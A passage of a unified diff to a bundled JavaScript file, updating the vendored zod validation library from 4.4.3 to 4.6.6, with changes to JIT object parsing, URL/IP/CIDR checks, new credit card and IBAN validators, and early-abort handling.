$ZodCheck.init(inst, def); const mimeSet = new Set(def.mime); - inst._zod.onattach.push((inst2) => { - inst2._zod.bag.mime = def.mime; - }); inst._zod.check = (payload) => { if (mimeSet.has(payload.value.type)) return; @@ -56974,18 +57303,22 @@ var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (ins }; }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/doc.js var Doc = class { - constructor(args = []) { + constructor(args = [], closed = {}) { this.content = []; this.indent = 0; - if (this) - this.args = args; + this.args = args; + this.closed = closed; } + // the compiler catches a child's throw and keeps writing into this doc, so the indent has to unwind with it indented(fn) { this.indent += 1; - fn(this); - this.indent -= 1; + try { + fn(this); + } finally { + this.indent -= 1; + } } write(arg) { if (typeof arg === "function") { @@ -57003,31 +57336,30 @@ var Doc = class { } compile() { const F = Function; - const args = this?.args; const content = this?.content ?? [``]; - const lines = [...content.map((x) => ` ${x}`)]; - return new F(...args, lines.join("\n")); + const factory = new F(...Object.keys(this.closed), `return function (${this.args.join(", ")}) { +${content.join("\n")} +};`); + return factory(...Object.values(this.closed)); } }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/versions.js var version = { major: 4, - minor: 4, - patch: 3 + minor: 6, + patch: 6 }; -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/schemas.js var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { var _a3; inst ?? (inst = {}); inst._zod.def = def; inst._zod.bag = inst._zod.bag || {}; inst._zod.version = version; - const checks = [...inst._zod.def.checks ?? []]; - if (inst._zod.traits.has("$ZodCheck")) { - checks.unshift(inst); - } + const defChecks = inst._zod.def.checks; + const checks = inst._zod.traits.has("$ZodCheck") ? [inst, ...defChecks ?? []] : defChecks?.length ? [...defChecks] : []; for (const ch of checks) { for (const fn of ch._zod.onattach) { fn(inst); @@ -57040,6 +57372,8 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { }); } else { const runChecks = (payload, checks2, ctx) => { + if (payload.memo) + return payload; let isAborted = aborted(payload); let asyncResult; for (const ch of checks2) { @@ -57063,6 +57397,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) return; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); }); @@ -57070,6 +57405,7 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { const nextLen = payload.issues.length; if (nextLen === currLen) continue; + attachSchema(payload.issues, currLen, inst); if (!isAborted) isAborted = aborted(payload, currLen); } @@ -57116,22 +57452,39 @@ var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { return runChecks(result, checks, ctx); }; } - defineLazy(inst, "~standard", () => ({ +}, { + // Wrappers extend this by installing a richer factory over it; reading it eagerly would defeat the laziness. + get "~standard"() { + return hide(this, "~standard", standardProps(this)); + }, + set "~standard"(value) { + own(this, "~standard", value); + } +}); +var toStandardResult = (r, ctx) => r.issues.length ? { issues: r.issues.map((iss) => finalizeIssue(iss, ctx, config())) } : { value: r.value }; +async function validateAsync2(inst, value) { + const ctx = { async: true }; + return toStandardResult(await inst._zod.run({ value, issues: [] }, ctx), ctx); +} +function standardProps(inst) { + return { validate: (value) => { + const ctx = { async: false }; try { - const r = safeParse(inst, value); - return r.success ? { value: r.data } : { issues: r.error?.issues }; + const r = inst._zod.run({ value, issues: [] }, ctx); + if (!(r instanceof Promise)) + return toStandardResult(r, ctx); } catch (_) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _) => { if (def.coerce) try { @@ -57181,58 +57534,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_) { payload.issues.push({ @@ -57250,7 +57650,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -57292,16 +57694,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -57315,30 +57719,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -57363,10 +57767,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -57379,17 +57783,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -57406,6 +57810,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -57456,22 +57925,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -57491,13 +57960,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57530,13 +57999,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57547,13 +58016,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57564,13 +58033,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57599,13 +58068,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57620,21 +58089,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size2) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size2(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result, final, index2) { if (result.issues.length) { final.issues.push(...prefixIssues(index2, result.issues)); @@ -57643,21 +58137,24 @@ function handleArrayResult(result, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result = def.element._zod.run({ value: item, issues: [] @@ -57666,6 +58163,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); } else { handleArrayResult(result, payload, i); + if (abortEarly && result.issues.length !== 0 && aborted(result)) + break; } } if (proms.length) { @@ -57673,16 +58172,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result.issues.length) { final.issues.push({ code: "invalid_type", @@ -57694,58 +58198,75 @@ function handlePropertyResult(result, final, key, input, isOptionalIn, isOptiona return; } if (result.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys = Object.keys(def.shape); - for (const k of keys) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys; + for (const k of allKeys) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys, + allKeys, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys), numKeys: keys.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -57757,28 +58278,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get.raw = newSh; + return newSh; + }; + get.raw = sh; + Object.defineProperty(def, "shape", { get }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -57786,91 +58310,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject3 = isObject2; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -57879,41 +58419,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject3 = isObject2; @@ -57924,12 +58459,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject3(input)) { + const input2 = payload.value; + if (!isObject3(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -57940,7 +58475,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return 